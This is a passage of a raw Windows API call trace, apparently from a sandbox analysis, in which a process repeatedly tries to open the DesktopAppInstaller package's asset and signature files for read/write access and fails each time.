[0268.606] GetProcessHeap () returned 0x630000 [0268.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0268.606] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-64_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.607] Sleep (dwMilliseconds=0x1) [0268.622] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png") returned 1 [0268.622] GetProcessHeap () returned 0x630000 [0268.622] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c2c) returned 0x6fe3bb0 [0268.622] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-64.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.623] Sleep (dwMilliseconds=0x1) [0268.638] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png") returned 1 [0268.638] GetProcessHeap () returned 0x630000 [0268.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c28) returned 0x6fe3bb0 [0268.638] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-60_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.639] Sleep (dwMilliseconds=0x1) [0268.653] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png") returned 1 [0268.653] GetProcessHeap () returned 0x630000 [0268.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c24) returned 0x6fe3bb0 [0268.653] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.653] Sleep (dwMilliseconds=0x1) [0268.695] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png") returned 1 [0268.695] GetProcessHeap () returned 0x630000 [0268.695] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c20) returned 0x6fe3bb0 [0268.695] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.695] Sleep (dwMilliseconds=0x1) [0268.716] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png") returned 1 [0268.716] GetProcessHeap () returned 0x630000 [0268.716] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c1c) returned 0x6fe3bb0 [0268.716] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.718] Sleep (dwMilliseconds=0x1) [0268.731] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png") returned 1 [0268.731] GetProcessHeap () returned 0x630000 [0268.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c18) returned 0x6fe3bb0 [0268.731] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-40_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.732] Sleep (dwMilliseconds=0x1) [0268.747] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png") returned 1 [0268.747] GetProcessHeap () returned 0x630000 [0268.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c14) returned 0x6fe3bb0 [0268.747] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.748] Sleep (dwMilliseconds=0x1) [0268.763] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png") returned 1 [0268.763] GetProcessHeap () returned 0x630000 [0268.763] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c10) returned 0x6fe3bb0 [0268.763] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-36_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.763] Sleep (dwMilliseconds=0x1) [0268.778] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png") returned 1 [0268.778] GetProcessHeap () returned 0x630000 [0268.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c0c) returned 0x6fe3bb0 [0268.778] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.778] Sleep (dwMilliseconds=0x1) [0268.794] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png") returned 1 [0268.794] GetProcessHeap () returned 0x630000 [0268.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c08) returned 0x6fe3bb0 [0268.794] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-32_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.795] Sleep (dwMilliseconds=0x1) [0268.810] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png") returned 1 [0268.810] GetProcessHeap () returned 0x630000 [0268.810] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c04) returned 0x6fe3bb0 [0268.810] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.811] Sleep (dwMilliseconds=0x1) [0268.825] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png") returned 1 [0268.825] GetProcessHeap () returned 0x630000 [0268.825] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c00) returned 0x6fe3bb0 [0268.825] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-30_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.826] Sleep (dwMilliseconds=0x1) [0268.841] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png") returned 1 [0268.841] GetProcessHeap () returned 0x630000 [0268.841] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bfc) returned 0x6fe3bb0 [0268.841] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-30.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.844] Sleep (dwMilliseconds=0x1) [0268.856] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png", len=0x96 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png") returned 1 [0268.856] GetProcessHeap () returned 0x630000 [0268.856] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf8) returned 0x6fe3bb0 [0268.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.857] Sleep (dwMilliseconds=0x1) [0268.872] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png", len=0x85 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png") returned 1 [0268.872] GetProcessHeap () returned 0x630000 [0268.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf4) returned 0x6fe3bb0 [0268.872] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.872] Sleep (dwMilliseconds=0x1) [0268.887] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png") returned 1 [0268.888] GetProcessHeap () returned 0x630000 [0268.888] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bf0) returned 0x6fe3bb0 [0268.888] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.888] Sleep (dwMilliseconds=0x1) [0268.903] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png") returned 1 [0268.903] GetProcessHeap () returned 0x630000 [0268.903] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bec) returned 0x6fe3bb0 [0268.903] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.903] Sleep (dwMilliseconds=0x1) [0268.919] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png", len=0x95 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png") returned 1 [0268.919] GetProcessHeap () returned 0x630000 [0268.919] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be0) returned 0x6fe3bb0 [0268.920] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.921] Sleep (dwMilliseconds=0x1) [0268.934] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png", len=0x84 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png") returned 1 [0268.934] GetProcessHeap () returned 0x630000 [0268.934] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bdc) returned 0x6fe3bb0 [0268.934] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.935] Sleep (dwMilliseconds=0x1) [0268.950] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png", len=0x80 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png") returned 1 [0268.950] GetProcessHeap () returned 0x630000 [0268.950] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd8) returned 0x6fe3bb0 [0268.950] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.999] Sleep (dwMilliseconds=0x1) [0269.013] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png", len=0x6c | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png") returned 1 [0269.013] GetProcessHeap () returned 0x630000 [0269.013] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd4) returned 0x6fe3bb0 [0269.013] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\256x256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.014] Sleep (dwMilliseconds=0x1) [0269.028] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x6b | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0269.028] GetProcessHeap () returned 0x630000 [0269.028] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd0) returned 0x6fe3bb0 [0269.028] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.029] Sleep (dwMilliseconds=0x1) [0269.044] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x78 | out: pbstr=0x637ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0269.044] GetProcessHeap () returned 0x630000 [0269.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bcc) returned 0x6fe3bb0 [0269.044] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" 